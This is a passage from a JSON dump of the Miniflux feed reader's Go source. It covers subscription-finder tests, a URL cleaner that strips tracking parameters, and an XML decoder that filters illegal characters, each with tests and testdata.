html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"http://example.org/feed.xml\" rel=\"alternate\" type=\"application/rss+xml\" title=\"Feed A\">\n\t\t\t<link href=\"http://example.org/feed.xml\" rel=\"alternate\" type=\"application/rss+xml\" title=\"Feed B\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n\n\tif subscriptions[0].Title != \"Feed A\" {\n\t\tt.Errorf(`Incorrect subscription title: %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != \"http://example.org/feed.xml\" {\n\t\tt.Errorf(`Incorrect subscription URL: %q`, subscriptions[0].URL)\n\t}\n\n\tif subscriptions[0].Type != \"rss\" {\n\t\tt.Errorf(`Incorrect subscription type: %q`, subscriptions[0].Type)\n\t}\n}\n\nfunc TestParseWebPageWithEmptyFeedURL(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href rel=\"alternate\" type=\"application/feed+json\" title=\"Some Title\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 0 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n}\n\nfunc TestParseWebPageWithNoHref(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link rel=\"alternate\" type=\"application/feed+json\" title=\"Some Title\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 0 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n}\n\nfunc TestFindCanonicalURL(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link rel=\"canonical\" href=\"https://example.org/canonical-page\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tcanonicalURL := NewSubscriptionFinder(nil).findCanonicalURL(\"https://example.org/page\", \"http://example.org\", doc)\n\tif canonicalURL != \"https://example.org/canonical-page\" {\n\t\tt.Errorf(`Unexpected canonical URL, got %q, expected %q`, canonicalURL, \"https://example.org/canonical-page\")\n\t}\n}\n\nfunc TestFindCanonicalURLNotFound(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tcanonicalURL := NewSubscriptionFinder(nil).findCanonicalURL(\"https://example.org/page\", \"https://example.org\", doc)\n\tif canonicalURL != \"https://example.org/page\" {\n\t\tt.Errorf(`Expected effective URL when canonical not found, got %q`, canonicalURL)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/subscription/subscription.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage subscription // import \"miniflux.app/v2/internal/reader/subscription\"\n\nimport \"fmt\"\n\n// subscription represents a feed subscription.\ntype subscription struct {\n\tTitle string `json:\"title\"`\n\tURL   string `json:\"url\"`\n\tType  string `json:\"type\"`\n}\n\nfunc NewSubscription(title, url, kind string) *subscription {\n\treturn &subscription{Title: title, URL: url, Type: kind}\n}\n\nfunc (s subscription) String() string {\n\treturn fmt.Sprintf(`Title=%q, URL=%q, Type=%q`, s.Title, s.URL, s.Type)\n}\n\n// Subscriptions represents a list of subscription.\ntype Subscriptions []*subscription\n"
  },
  {
    "path": "internal/reader/urlcleaner/urlcleaner.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage urlcleaner // import \"miniflux.app/v2/internal/reader/urlcleaner\"\n\nimport (\n\t\"errors\"\n\t\"net/url\"\n\t\"strings\"\n)\n\n// Interesting lists:\n// https://raw.githubusercontent.com/AdguardTeam/AdguardFilters/master/TrackParamFilter/sections/general_url.txt\n// https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/query-stripping/records\n// https://github.com/Smile4ever/Neat-URL/blob/master/data/default-params-by-category.json\n// https://github.com/brave/brave-core/blob/master/components/query_filter/utils.cc\n// https://developers.google.com/analytics/devguides/collection/ga4/reference/config\nvar trackingParams = map[string]bool{\n\t// Facebook Click Identifiers\n\t\"fbclid\":          true,\n\t\"_openstat\":       true,\n\t\"fb_action_ids\":   true,\n\t\"fb_action_types\": true,\n\t\"fb_ref\":          true,\n\t\"fb_source\":       true,\n\t\"fb_comment_id\":   true,\n\n\t// Humble Bundles\n\t\"hmb_campaign\": true,\n\t\"hmb_medium\":   true,\n\t\"hmb_source\":   true,\n\n\t// Likely Google as well\n\t\"itm_campaign\": true,\n\t\"itm_medium\":   true,\n\t\"itm_source\":   true,\n\n\t// Google Click Identifiers\n\t\"gclid\":  true,\n\t\"dclid\":  true,\n\t\"gbraid\": true,\n\t\"wbraid\": true,\n\t\"gclsrc\": true,\n\n\t// Google Analytics\n\t\"campaign_id\":      true,\n\t\"campaign_medium\":  true,\n\t\"campaign_name\":    true,\n\t\"campaign_source\":  true,\n\t\"campaign_term\":    true,\n\t\"campaign_content\": true,\n\n\t// Google\n\t\"srsltid\": true,\n\n\t// Yandex Click Identifiers\n\t\"yclid\":  true,\n\t\"ysclid\": true,\n\n\t// Twitter Click Identifier\n\t\"twclid\": true,\n\n\t// Microsoft Click Identifier\n\t\"msclkid\": true,\n\n\t// Mailchimp Click Identifiers\n\t\"mc_cid\": true,\n\t\"mc_eid\": true,\n\t\"mc_tc\":  true,\n\n\t// Wicked Reports click tracking\n\t\"wickedid\": true,\n\n\t// Hubspot Click Identifiers\n\t\"hsa_cam\":       true,\n\t\"_hsenc\":        true,\n\t\"__hssc\":        true,\n\t\"__hstc\":        true,\n\t\"__hsfp\":        true,\n\t\"_hsmi\":         true,\n\t\"hsctatracking\": true,\n\n\t// Olytics\n\t\"rb_clickid\":  true,\n\t\"oly_anon_id\": true,\n\t\"oly_enc_id\":  true,\n\n\t// Vero Click Identifier\n\t\"vero_id\":   true,\n\t\"vero_conv\": true,\n\n\t// Marketo email tracking\n\t\"mkt_tok\": true,\n\n\t// Adobe email tracking\n\t\"sc_cid\": true,\n\n\t// Beehiiv\n\t\"_bhlid\": true,\n\n\t// Branch.io\n\t\"_branch_match_id\": true,\n\t\"_branch_referrer\": true,\n\n\t// Readwise\n\t\"__readwiseLocation\": true,\n}\n\n// Outbound tracking parameters are appending the website's url to outbound links.\nvar trackingParamsOutbound = map[string]bool{\n\t// Ghost\n\t\"ref\": true,\n}\n\nvar trackingParamsPrefixes = []string{\n\t\"utm_\", // https://en.wikipedia.org/wiki/UTM_parameters\n\t\"mtm_\", // https://matomo.org/faq/reports/common-campaign-tracking-use-cases-and-examples/\n}\n\nfunc isTrackingParam(param string) bool {\n\tfor _, prefix := range trackingParamsPrefixes {\n\t\tif strings.HasPrefix(param, prefix) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn trackingParams[param]\n}\n\nfunc RemoveTrackingParameters(parsedFeedURL, parsedSiteURL, parsedInputUrl *url.URL) (string, error) {\n\tif parsedFeedURL == nil || parsedSiteURL == nil || parsedInputUrl == nil {\n\t\treturn \"\", errors.New(\"urlcleaner: one of the URLs is nil\")\n\t}\n\n\tif parsedInputUrl.RawQuery == \"\" {\n\t\treturn parsedInputUrl.String(), nil\n\t}\n\n\tqueryParams := parsedInputUrl.Query()\n\thasTrackers := false\n\tfeedHostname := parsedFeedURL.Hostname()\n\tsiteHostname := parsedSiteURL.Hostname()\n\n\t// Remove tracking parameters\n\tfor param := range queryParams {\n\t\tlowerParam := strings.ToLower(param)\n\n\t\tif isTrackingParam(lowerParam) {\n\t\t\tqueryParams.Del(param)\n\t\t\thasTrackers = true\n\t\t\tcontinue\n\t\t}\n\n\t\tif trackingParamsOutbound[lowerParam] {\n\t\t\t// handle duplicate parameters like ?a=b&a=c&a=d…\n\t\t\tfor _, value := range queryParams[param] {\n\t\t\t\tif value == feedHostname || value == siteHostname {\n\t\t\t\t\tqueryParams.Del(param)\n\t\t\t\t\thasTrackers = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Do not modify the URL if there are no tracking parameters\n\tif !hasTrackers {\n\t\treturn parsedInputUrl.String(), nil\n\t}\n\n\tparsedInputUrl.RawQuery = queryParams.Encode()\n\tcleanedURL := strings.TrimSuffix(parsedInputUrl.String(), \"?\")\n\n\treturn cleanedURL, nil\n}\n"
  },
  {
    "path": "internal/reader/urlcleaner/urlcleaner_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage urlcleaner // import \"miniflux.app/v2/internal/reader/urlcleaner\"\n\nimport (\n\t\"net/url\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestRemoveTrackingParams(t *testing.T) {\n\ttests := []struct {\n\t\tname             string\n\t\tinput            string\n\t\texpected         string\n\t\tbaseURL          string\n\t\tfeedURL          string\n\t\tstrictComparison bool\n\t}{\n\t\t{\n\t\t\tname:     \"URL with tracking parameters\",\n\t\t\tinput:    \"https://example.com/page?id=123&utm_source=newsletter&utm_medium=email&fbclid=abc123\",\n\t\t\texpected: \"https://example.com/page?id=123\",\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with only tracking parameters\",\n\t\t\tinput:    \"https://example.com/page?utm_source=newsletter&utm_medium=email\",\n\t\t\texpected: \"https://example.com/page\",\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with no tracking parameters\",\n\t\t\tinput:    \"https://example.com/page?id=123&foo=bar\",\n\t\t\texpected: \"https://example.com/page?id=123&foo=bar\",\n\t\t},\n\t\t{\n\t\t\tname:             \"URL with no parameters\",\n\t\t\tinput:            \"https://example.com/page\",\n\t\t\texpected:         \"https://example.com/page\",\n\t\t\tstrictComparison: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with mixed case tracking parameters\",\n\t\t\tinput:    \"https://example.com/page?UTM_SOURCE=newsletter&utm_MEDIUM=email\",\n\t\t\texpected: \"https://example.com/page\",\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with tracking parameters and fragments\",\n\t\t\tinput:    \"https://example.com/page?id=123&utm_source=newsletter#section1\",\n\t\t\texpected: \"https://example.com/page?id=123#section1\",\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with only tracking parameters and fragments\",\n\t\t\tinput:    \"https://example.com/page?utm_source=newsletter#section1\",\n\t\t\texpected: \"https://example.com/page#section1\",\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with only one tracking parameter\",\n\t\t\tinput:    \"https://example.com/page?utm_source=newsletter\",\n\t\t\texpected: \"https://example.com/page\",\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with encoded characters\",\n\t\t\tinput:    \"https://example.com/page?name=John%20Doe&utm_source=newsletter\",\n\t\t\texpected: \"https://example.com/page?name=John+Doe\",\n\t\t},\n\t\t{\n\t\t\tname:     \"ref parameter for another url\",\n\t\t\tinput:    \"https://example.com/page?ref=test.com\",\n\t\t\tbaseURL:  \"https://example.com/page\",\n\t\t\texpected: \"https://example.com/page?ref=test.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"ref parameter for feed url\",\n\t\t\tinput:    \"https://example.com/page?ref=feed.com\",\n\t\t\tbaseURL:  \"https://example.com/page\",\n\t\t\texpected: \"https://example.com/page\",\n\t\t\tfeedURL:  \"http://feed.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"ref parameter for site url\",\n\t\t\tinput:    \"https://example.com/page?ref=example.com\",\n\t\t\tbaseURL:  \"https://example.com/page\",\n\t\t\texpected: \"https://example.com/page\",\n\t\t},\n\t\t{\n\t\t\tname:     \"ref parameter for base url\",\n\t\t\tinput:    \"https://example.com/page?ref=example.com\",\n\t\t\texpected: \"https://example.com/page\",\n\t\t\tbaseURL:  \"https://example.com\",\n\t\t\tfeedURL:  \"https://feedburned.com/example\",\n\t\t},\n\t\t{\n\t\t\tname:     \"ref parameter for base url on subdomain\",\n\t\t\tinput:    \"https://blog.exploits.club/some-path?ref=blog.exploits.club\",\n\t\t\texpected: \"https://blog.exploits.club/some-path\",\n\t\t\tbaseURL:  \"https://blog.exploits.club/some-path\",\n\t\t\tfeedURL:  \"https://feedburned.com/exploit.club\",\n\t\t},\n\t\t{\n\t\t\tname:             \"Non-standard URL parameter with no tracker\",\n\t\t\tinput:            \"https://example.com/foo.jpg?crop/1420x708/format/webp\",\n\t\t\texpected:         \"https://example.com/foo.jpg?crop/1420x708/format/webp\",\n\t\t\tbaseURL:          \"https://example.com/page\",\n\t\t\tstrictComparison: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"Invalid URL\",\n\t\t\tinput:    \"https://example|org/\",\n\t\t\tbaseURL:  \"https://example.com/page\",\n\t\t\texpected: \"\",\n\t\t},\n\t\t{\n\t\t\tname:             \"Non-HTTP URL\",\n\t\t\tinput:            \"mailto:user@example.org\",\n\t\t\texpected:         \"mailto:user@example.org\",\n\t\t\tbaseURL:          \"https://example.com/page\",\n\t\t\tstrictComparison: true,\n\t\t},\n\t\t{\n\t\t\tname:             \"Matomo tracking URL\",\n\t\t\tinput:            \"https://example.com/?mtm_campaign=2020_august_promo&mtm_source=newsletter&mtm_medium=email&mtm_content=primary-cta\",\n\t\t\texpected:         \"https://example.com/\",\n\t\t\tbaseURL:          \"https://example.com\",\n\t\t\tstrictComparison: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tparsedBaseUrl, _ := url.Parse(tt.baseURL)\n\t\t\tparsedFeedUrl, _ := url.Parse(tt.feedURL)\n\t\t\tparsedInputUrl, _ := url.Parse(tt.input)\n\t\t\tresult, err := RemoveTrackingParameters(parsedBaseUrl, parsedFeedUrl, parsedInputUrl)\n\t\t\tif tt.expected == \"\" {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"Expected an error for invalid URL, but got none\")\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"Unexpected error: %v\", err)\n\t\t\t\t}\n\t\t\t\tif tt.strictComparison && result != tt.expected {\n\t\t\t\t\tt.Errorf(\"removeTrackingParams(%q) = %q, want %q\", tt.input, result, tt.expected)\n\t\t\t\t}\n\t\t\t\tif !urlsEqual(result, tt.expected) {\n\t\t\t\t\tt.Errorf(\"removeTrackingParams(%q) = %q, want %q\", tt.input, result, tt.expected)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\n// urlsEqual compares two URLs for equality, ignoring the order of query parameters\nfunc urlsEqual(url1, url2 string) bool {\n\tu1, err1 := url.Parse(url1)\n\tu2, err2 := url.Parse(url2)\n\n\tif err1 != nil || err2 != nil {\n\t\treturn false\n\t}\n\n\tif u1.Scheme != u2.Scheme || u1.Host != u2.Host || u1.Path != u2.Path || u1.Fragment != u2.Fragment {\n\t\treturn false\n\t}\n\n\treturn reflect.DeepEqual(u1.Query(), u2.Query())\n}\n"
  },
  {
    "path": "internal/reader/xml/decoder.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage xml // import \"miniflux.app/v2/internal/reader/xml\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"io\"\n\t\"unicode/utf8\"\n\n\t\"miniflux.app/v2/internal/reader/encoding\"\n)\n\n// NewXMLDecoder returns a XML decoder that filters illegal characters.\nfunc NewXMLDecoder(data io.ReadSeeker) *xml.Decoder {\n\tvar decoder *xml.Decoder\n\n\t// This is way fasted than io.ReadAll(data) as the buffer can be allocated in one go instead of dynamically grown.\n\tbuffer := &bytes.Buffer{}\n\tio.Copy(buffer, data)\n\n\tif hasUTF8XMLDeclaration(buffer.Bytes()) {\n\t\t// TODO: detect actual encoding from bytes if not UTF-8 and convert to UTF-8 if needed.\n\t\t// For now we just expect the invalid characters to be stripped out.\n\n\t\t// Filter invalid chars now, since decoder.CharsetReader isn't called for utf-8 content\n\t\tfilteredBytes := filterValidXMLChars(buffer.Bytes())\n\n\t\tdecoder = xml.NewDecoder(bytes.NewReader(filteredBytes))\n\t} else {\n\t\tdata.Seek(0, io.SeekStart)\n\t\tdecoder = xml.NewDecoder(data)\n\n\t\t// The XML document will be converted to UTF-8 by encoding.CharsetReader\n\t\t// Invalid characters will be filtered later via decoder.CharsetReader\n\t\tdecoder.CharsetReader = charsetReaderFilterInvalidUtf8\n\t}\n\n\tdecoder.Entity = xml.HTMLEntity\n\tdecoder.Strict = false\n\n\treturn decoder\n}\n\nfunc charsetReaderFilterInvalidUtf8(charset string, input io.Reader) (io.Reader, error) {\n\tutf8Reader, err := encoding.CharsetReader(charset, input)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trawData, err := io.ReadAll(utf8Reader)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"xml: unable to read data: %w\", err)\n\t}\n\tfilteredBytes := filterValidXMLChars(rawData)\n\treturn bytes.NewReader(filteredBytes), nil\n}\n\n// filterValidXMLChars filters inplace invalid XML characters.\n// This function is inspired from bytes.Map\nfunc filterValidXMLChars(s []byte) []byte {\n\tvar i uint // declaring it as an uint removes a bound check in the loop.\n\tvar j int\n\n\tfor i = 0; i < uint(len(s)); {\n\t\twid := 1\n\t\tr := rune(s[i])\n\t\tif r >= utf8.RuneSelf {\n\t\t\tr, wid = utf8.DecodeRune(s[i:])\n\t\t}\n\t\tif r != utf8.RuneError {\n\t\t\tif r = filterValidXMLChar(r); r >= 0 {\n\t\t\t\tutf8.EncodeRune(s[j:], r)\n\t\t\t\tj += wid\n\t\t\t}\n\t\t}\n\t\ti += uint(wid)\n\t}\n\treturn s[:j]\n}\n\n// This function is copied from encoding/xml package,\n// and is used to check if all the characters are legal.\nfunc filterValidXMLChar(r rune) rune {\n\tif r == 0x09 ||\n\t\tr == 0x0A ||\n\t\tr == 0x0D ||\n\t\tr >= 0x20 && r <= 0xD7FF ||\n\t\tr >= 0xE000 && r <= 0xFFFD ||\n\t\tr >= 0x10000 && r <= 0x10FFFF {\n\t\treturn r\n\t}\n\treturn -1\n}\n\n// This function is copied from encoding/xml's procInst and adapted for []bytes instead of string\nfunc getEncoding(b []byte) []byte {\n\t// This parsing is somewhat lame and not exact.\n\t// It works for all actual cases, though.\n\tidx := bytes.Index(b, []byte(\"encoding=\"))\n\tif idx == -1 {\n\t\treturn nil\n\t}\n\tv := b[idx+len(\"encoding=\"):]\n\tif len(v) == 0 {\n\t\treturn nil\n\t}\n\tif v[0] != '\\'' && v[0] != '\"' {\n\t\treturn nil\n\t}\n\tidx = bytes.IndexRune(v[1:], rune(v[0]))\n\tif idx == -1 {\n\t\treturn nil\n\t}\n\treturn v[1 : idx+1]\n}\n\nfunc hasUTF8XMLDeclaration(data []byte) bool {\n\tenc := getEncoding(data)\n\treturn enc == nil || bytes.EqualFold(enc, []byte(\"utf-8\"))\n}\n"
  },
  {
    "path": "internal/reader/xml/decoder_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage xml // import \"miniflux.app/v2/internal/reader/xml\"\n\nimport (\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"unicode/utf8\"\n)\n\nfunc TestXMLDocumentWithISO88591Encoding(t *testing.T) {\n\tfp, err := os.Open(\"testdata/iso88591.xml\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer fp.Close()\n\n\ttype myXMLDocument struct {\n\t\tXMLName xml.Name `xml:\"note\"`\n\t\tTo      string   `xml:\"to\"`\n\t\tFrom    string   `xml:\"from\"`\n\t}\n\n\tvar doc myXMLDocument\n\n\tdecoder := NewXMLDecoder(fp)\n\terr = decoder.Decode(&doc)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpectedTo := \"Anaïs\"\n\texpectedFrom := \"Jürgen\"\n\n\tif doc.To != expectedTo {\n\t\tt.Errorf(`Incorrect \"to\" field, expected: %q, got: %q`, expectedTo, doc.To)\n\t}\n\tif doc.From != expectedFrom {\n\t\tt.Errorf(`Incorrect \"from\" field, expected: %q, got: %q`, expectedFrom, doc.From)\n\t}\n}\n\nfunc TestXMLDocumentWithISO88591FileEncodingButUTF8Prolog(t *testing.T) {\n\tfp, err := os.Open(\"testdata/iso88591_utf8_mismatch.xml\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer fp.Close()\n\n\ttype myXMLDocument struct {\n\t\tXMLName xml.Name `xml:\"note\"`\n\t\tTo      string   `xml:\"to\"`\n\t\tFrom    string   `xml:\"from\"`\n\t}\n\n\tvar doc myXMLDocument\n\n\tdecoder := NewXMLDecoder(fp)\n\terr = decoder.Decode(&doc)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// TODO: detect actual encoding from bytes if not UTF-8 and convert to UTF-8 if needed.\n\t// For now we just expect the invalid characters to be stripped out.\n\texpectedTo := \"Anas\"\n\texpectedFrom := \"Jrgen\"\n\n\tif doc.To != expectedTo {\n\t\tt.Errorf(`Incorrect \"to\" field, expected: %q, got: %q`, expectedTo, doc.To)\n\t}\n\tif doc.From != expectedFrom {\n\t\tt.Errorf(`Incorrect \"from\" field, expected: %q, got: %q`, expectedFrom, doc.From)\n\t}\n}\n\nfunc TestXMLDocumentWithKOI8REncoding(t *testing.T) {\n\tfp, err := os.Open(\"testdata/koi8r.xml\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer fp.Close()\n\n\ttype item struct {\n\t\tTitle       string `xml:\"title\"`\n\t\tDescription string `xml:\"description\"`\n\t}\n\n\ttype channel struct {\n\t\tTitle       string `xml:\"title\"`\n\t\tDescription string `xml:\"description\"`\n\t\tItems       []item `xml:\"item\"`\n\t}\n\n\ttype rss struct {\n\t\tXMLName xml.Name `xml:\"rss\"`\n\t\tChannel channel  `xml:\"channel\"`\n\t}\n\n\tvar doc rss\n\n\tdecoder := NewXMLDecoder(fp)\n\terr = decoder.Decode(&doc)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif doc.Channel.Title != \"Пример RSS ленты\" {\n\t\tt.Errorf(\"Incorrect channel title, expected: %q, got: %q\", \"Пример RSS ленты\", doc.Channel.Title)\n\t}\n\n\tif doc.Channel.Description != \"Тестовая лента в кодировке KOI8-R\" {\n\t\tt.Errorf(\"Incorrect channel description, expected: %q, got: %q\", \"Тестовая лента в кодировке KOI8-R\", doc.Channel.Description)\n\t}\n\n\tif len(doc.Channel.Items) != 2 {\n\t\tt.Fatalf(\"Incorrect number of items, expected: %d, got: %d\", 2, len(doc.Channel.Items))\n\t}\n\n\tif doc.Channel.Items[0].Title != \"Первая новость\" {\n\t\tt.Errorf(\"Incorrect first item title, expected: %q, got: %q\", \"Первая новость\", doc.Channel.Items[0].Title)\n\t}\n\n\tif !strings.Contains(doc.Channel.Items[0].Description, \"Привет мир! Ёжик, чай, Москва, Санкт-Петербург.\") {\n\t\tt.Errorf(\"First item description does not contain expected text, got: %q\", doc.Channel.Items[0].Description)\n\t}\n\n\tif !strings.Contains(doc.Channel.Items[1].Description, \"Проверка специальных символов\") {\n\t\tt.Errorf(\"Second item description does not contain expected text, got: %q\", doc.Channel.Items[1].Description)\n\t}\n}\n\nfunc TestXMLDocumentWithIllegalUnicodeCharacters(t *testing.T) {\n\ttype myxml struct {\n\t\tXMLName xml.Name `xml:\"rss\"`\n\t\tVersion string   `xml:\"version,attr\"`\n\t\tTitle   string   `xml:\"title\"`\n\t}\n\n\texpected := \"Title & 中文标题\"\n\tdata := fmt.Sprintf(`<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"><title>Title & 中文%s标题</title></rss>`, \"\\x10\")\n\treader := strings.NewReader(data)\n\n\tvar x myxml\n\n\tdecoder := NewXMLDecoder(reader)\n\terr := decoder.Decode(&x)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tif x.Title != expected {\n\t\tt.Errorf(\"Incorrect entry title, expected: %s, got: %s\", expected, x.Title)\n\t}\n}\n\nfunc TestXMLDocumentWindows251EncodedWithIllegalCharacters(t *testing.T) {\n\ttype myxml struct {\n\t\tXMLName xml.Name `xml:\"rss\"`\n\t\tVersion string   `xml:\"version,attr\"`\n\t\tTitle   string   `xml:\"title\"`\n\t}\n\n\texpected := \"Title & 中文标题\"\n\tdata := fmt.Sprintf(`<?xml version=\"1.0\" encoding=\"windows-1251\"?><rss version=\"2.0\"><title>Title & 中文%s标题</title></rss>`, \"\\x10\")\n\treader := strings.NewReader(data)\n\n\tvar x myxml\n\n\tdecoder := NewXMLDecoder(reader)\n\terr := decoder.Decode(&x)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tif x.Title != expected {\n\t\tt.Errorf(\"Incorrect entry title, expected: %s, got: %s\", expected, x.Title)\n\t}\n}\n\nfunc TestXMLDocumentWithIncorrectEncodingField(t *testing.T) {\n\ttype myxml struct {\n\t\tXMLName xml.Name `xml:\"rss\"`\n\t\tVersion string   `xml:\"version,attr\"`\n\t\tTitle   string   `xml:\"title\"`\n\t}\n\n\texpected := \"Title & 中文标题\"\n\tdata := fmt.Sprintf(`<?xml version=\"1.0\" encoding=\"invalid\"?><rss version=\"2.0\"><title>Title & 中文%s标题</title></rss>`, \"\\x10\")\n\treader := strings.NewReader(data)\n\n\tvar x myxml\n\n\tdecoder := NewXMLDecoder(reader)\n\terr := decoder.Decode(&x)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tif x.Title != expected {\n\t\tt.Errorf(\"Incorrect entry title, expected: %s, got: %s\", expected, x.Title)\n\t}\n}\n\nfunc TestFilterValidXMLCharsWithInvalidUTF8Sequence(t *testing.T) {\n\t// Create input with invalid UTF-8 sequence\n\tinput := []byte{0x41, 0xC0, 0xAF, 0x42} // 'A', invalid UTF-8, 'B'\n\n\tfiltered := filterValidXMLChars(input)\n\n\t// The function would replace invalid UTF-8 with replacement char\n\t// rather than properly filtering\n\tif utf8.Valid(filtered) {\n\t\tr, _ := utf8.DecodeRune(filtered[1:])\n\t\tif r == utf8.RuneError {\n\t\t\tt.Error(\"Invalid UTF-8 was not properly filtered\")\n\t\t}\n\t}\n}\n\nfunc FuzzFilterValidXMLChars(f *testing.F) {\n\tf.Fuzz(func(t *testing.T, s []byte) {\n\t\tfilterValidXMLChars(s)\n\t})\n}\n"
  },
  {
    "path": "internal/reader/xml/testdata/iso88591.xml",
    "content": "<?xml version=\"1.0\" encoding=\"iso8859-1\"?>\n<note>\n  <to>Anas</to>\n  <from>Jrgen</from>\n</note>\n"
  },
  {
    "path": "internal/reader/xml/testdata/iso88591_utf8_mismatch.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<note>\n  <to>Anas</to>\n  <from>Jrgen</from>\n</note>\n"
  },
  {
    "path": "internal/reader/xml/testdata/koi8r.xml",
